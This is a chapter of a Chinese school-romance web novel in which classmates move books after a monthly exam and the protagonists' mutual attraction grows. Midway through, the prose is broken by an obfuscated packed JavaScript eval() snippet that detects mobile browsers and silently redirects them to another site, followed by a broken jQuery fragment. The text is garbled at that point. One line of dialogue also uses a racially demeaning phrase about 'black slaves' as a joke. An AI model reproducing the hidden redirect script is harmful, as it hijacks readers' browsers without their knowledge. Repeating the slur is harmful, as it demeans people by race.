本来想用这次月考来检验一下这大半个月的学习有没有什么成效,没成想化学难度骤然加大,傅弦音做得磕磕绊绊不说,甚至还差点没做完。 不过好消息是,除了化学,其余科目发挥都很稳定。 甚至傅弦音隐隐觉得这次生物说不定能够上90。 在临澜的时候,生物一直是傅弦音最头疼的科目。和其它科目相比,每次考试,生物分数都是最低的,甚至比地理还要低上几分。 傅弦音生物在高三一整年都在85分左右徘徊,好点能到87、88,差一点就82、83。 90对于傅弦音来说就是个坎,就连最简单的卷子傅弦音都没上过90。 临澜一中的生物老师还说她的生物成绩简直稳定到不行,无论题难还是题简单,都能保持在85分左右,雷打不动。 这一次,傅弦音觉得可能会不一样。 最后一门考完,傅弦音和顾临钊收拾好东西,顾临钊去了趟高颖办公室,傅弦音则回了教室。 布置考场的缘故,所有的书都被放在了对面活动室,傅弦音和陈念可看着自己那厚厚的两摞书,对视一眼,不约而同地叹了口气。 能怎么办? 搬呗。 俩人袖子一撸,刚好碰到进门的林安旭,林安旭看见俩人眼前一亮问:“姐,程昭昭的书和你们放一块了是吧?” 傅弦音点点头,抬手指了指:“这呢。” 林安旭利索地搬了起来,边搬边说:“姐我跟你说,程昭昭是真会使唤人,她说要去厕所,让我给她把书搬过去。” 陈念可和傅弦音自觉地给他让了条道出来。 林安旭边往外走边喊:“姐你跟陈念可把书放那吧,等会我帮你俩搬。” 陈念可和傅弦音对视一眼,无奈道:“算了吧,使唤黑奴也不是这么个使唤法,我俩自己搬就行。” 俩人说完就开始收拾,傅弦音演练了好几次怎么用最少的趟数运完所有的书,忽然一道熟悉的声音从身旁响起: “我的东西收好了,我帮你搬吧。” 是尹泽轩。 傅弦音犹豫了一下,把书分成两摞,说:“要不你帮我搬这一摞吧。” 尹泽轩点点头,说:“行。” 傅弦音弯腰就要搬,忽然,尹泽轩的手伸了过来,把她那摞上面的好几本书拿走,放到了他要搬的那摞上。 而后他搬起了大半的书,往教室走。 傅弦音犹豫了一下,还是把书搬起,走前还不忘跟陈念可说:“你等我下,我搬完帮你搬。” 走廊上人来人往,傅弦音手上的书虽然被尹泽轩拿走了基本,但依然不算少。 尹泽轩比她走得快几步,现在已经穿过走廊进教室了。 傅弦音怕被人撞到书洒一地,想等着人流过去,她靠着墙,手里捧着厚厚的书,手臂却越来越酸。 她视线放空地看着走廊,正犹豫要不要把书搁窗台上歇会,手背上却忽然覆了一层温热。 比声音先一步感知到的,是鼻腔间涌入的熟悉的洗衣液的味道。 大手抵住了她的手,带着厚厚一摞书,往上托了托。 人声嘈杂,傅弦音脑海中却突然冒出来一个古怪的念头。 顾临钊不喷香水。 但是身上的味道很好闻。 应该是一股洗衣粉的清香,傅弦音却又觉得不是。 洗衣粉的味道不应该这么好闻,也不应该这么……让人喜欢闻。 是一股带着点清新凛冽水汽的淡香,干净清爽,似山间清泉,又似春天柳条抽枝时,最嫩的叶子上凝的露水。 是一种意识流的,描述不出来的。 但是很好闻的味道。 掌心重量一空,傅弦音甩了甩手,她使唤顾临钊比使唤林安旭和尹泽轩都顺手多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060472|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她说:“你帮我把书放我位上吧,念可的书还没搬,我去帮她搬。” 顾临钊点点头,随口闻道:“你的都搬完了,搬了几趟?” 傅弦音指了指他手里的书,说:“就这一趟,另外一大半尹泽轩帮我搬过去了。” 顾临钊动作一顿。 傅弦音好像看见他轻轻叹了口气。 心脏莫名瑟缩了一下。 傅弦音也不知道自己那颗心在不争气地缩什么。 但好在顾临钊没说什么,他对着傅弦音说了句:“过来吧。” 傅弦音看了眼活动室的陈念可,不明所以地跟上去。 两人穿过走廊,一直到顾临钊的座位前,傅弦音有些急,说:“干嘛,念可还在对面……” “我帮她搬。”顾临钊无奈道:“你歇着吧,她书也不少,你俩一趟能搬完?” 傅弦音诚实道:“够呛。” 她看着顾临钊手里的书,说:“那你放这吧,我自己搬回去就行。刚才就是怕走廊人多给我创了书洒一地,到教室了这两步路我自己搬回去就行。” 她没给顾临钊反应的余地,直接上手就从顾临钊手上拿。 细嫩的指尖毫不客气地贴着顾临钊的掌心挤进去,指节处被笔磨出的那一小块茧子蹭在顾临钊手指内侧,如同一道电流,直通心脏。 顾临钊差点没直接撒手把手里的书都扔了。 他喉结滚动,低头看傅弦音。 女孩完全没意识到自己的动作有什么出格,她捧着书,手背蹭着顾临钊的掌心。 顾临钊甚至能感觉到她冰凉的手背一点一点染上自己的温度。 他有些不自然地咳了一声,视线却没从傅弦音身上移开。 直到书全都到了傅弦音手上,他才把手松开。 傅弦音拿到书转身就走。 顾临钊看着她走上讲台,又走下去,走到自己座位边,和尹泽轩说了两句话,忽然抬手指了指自己这边。 掌心好像还残余着一片属于她手掌的凉意。 顾临钊又回头看了一眼,而后走出了教室。 陈念可的书比傅弦音少一些。 顾临钊搬起一摞后,留给陈念可的那摞就只有几本了。 两人进门的时候刚好碰到程昭昭。 陈念可说:“要不你把书给昭昭,你的不是还没搬。” 程昭昭看了眼,也反应过来,说:“给我呗,你去搬你的。” 顾临钊步子停都没停一下,他说:“挺沉的,别折腾了,到你位子也多走不了几步路。” 陈念可突然噗嗤一下笑出声。 顾临钊被她这声笑搞得莫名。 只听陈念可打趣道:“你说这话的语气……怎么这么像音音啊?” 顾临钊:…… 他看了眼陈念可,对方满脸戏谑地挑了挑眉。 顾临钊忽然有种自己被看了个透彻的感觉。 他叹了口气,把书放在陈念可位置上,转身离开。 傅弦音刚把桌子重新收拾好,徐馨予就过来了。 徐馨予:“月考完了,今晚训练不?我们的项目是在周五,还能练四天。” 傅弦音点点头,说:“练,等我一下,我收拾一下。” 徐馨予笑嘻嘻道:“没事不着急,我俩先下去了,你和顾临钊等会收拾好了,你们直接来操场找我就行。” 傅弦音头都没抬地应了一声。 说完才后知后觉察觉出些不对劲。 你和顾临钊。 你们。 徐馨予,好像是默认她和顾临钊会一块。 虽然傅弦音确实每次都和顾临钊在一块,但是这种状态一旦经由别人的嘴说出来,还是这么习以为常地说出来,总归还是—— 有点奇怪。 尹泽轩没察觉到她的心思,在边上有一搭没一搭地和她说话。 他说:“今晚不用学习了,好不容易考完了,休息一天,明天再学。” 傅弦音回:“题不用做了,笔记和知识点还是要看看的吧。期中考试离得也不远了啊。” 尹泽轩感叹:“我要是有你这种学习态度,我成绩说不定还能再提个十几二十分。” 尹泽轩的成绩稳定在六百三到六百四左右,年级的位次大概在五十名,好一点能在第一考场当个尾巴,差一点就是第二考场的前几名。 一般成绩到了六百三四十已经很难再大幅度提升了。 傅弦音说:“我看你和我同桌这几个星期学习挺努力的啊,说不定这次成绩出来就能考到650呢?” 尹泽轩倒是很客观:“650不可能了,我上次考了632,这次题比上次还难,我能不能到630都是个问题。就希望年级的名次能提一提就好了。” 他说:“最好能直接到第一考场,和你们一个考场。” 傅弦音说:“好啊,你自己也说你更努力了,进步肯定会有点的,多少都有点。” 她说:“也不知道下次换位会怎么换,不知道高姐会把我排到哪里。” 尹泽轩问:“你想换位吗?” 傅弦音:“换不换对我来说倒没什么区别。” 尹泽轩轻声道:“我不想换。” 他这句话声音很小,傅弦音没听清,问道:“你说什么?” “没什么。”尹泽轩道。他抬头,看见顾临钊单肩背着书包朝他们这里走来。 两人点了点头,就算是打过招呼。 顾临钊走过来,问:“收拾好了吗?” “收好了。”傅弦音把水杯抱在手里,顾临钊顺手拎过她书包,问道:“徐馨予让我们直接去操场找她?” 傅弦音刚要跨出去的步子顿时停在原地。 原本因为和尹泽轩聊天被压下去的思绪又破土而出。 徐馨予说的“你们”。 顾临钊也说“我们”。 心脏跳的好像稍微快了些,伴随着的还有一种奇妙的感觉。 傅弦音听到自己说: “嗯,她让我们直接去找她。” 我们。 43. 心有灵犀